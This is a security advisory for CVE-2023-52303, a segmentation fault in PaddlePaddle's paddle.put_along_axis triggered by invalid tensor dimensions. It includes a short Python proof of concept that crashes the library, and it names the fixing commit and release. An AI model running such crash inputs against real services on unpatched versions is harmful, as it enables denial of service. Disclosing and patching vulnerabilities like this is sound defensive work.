CVE-2023-52303
Segfault in paddle.put_along_axis
when tensor dims are invalid . The PoC is as follows:
import paddle
import numpy as np
paddle.put_along_axis(
arr=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [1]).astype(np.int32)),
indices=paddle.to_tensor(np.random.uniform(-9223372036854775808, 9223372036854775807, [1]).astype(np.int64)),
values=paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32)),
axis=0,
reduce="assign"
)
We have patched the issue in commit 19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc. The fix will be included in PaddlePaddle 2.6.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Tong Liu of CAS-IIE.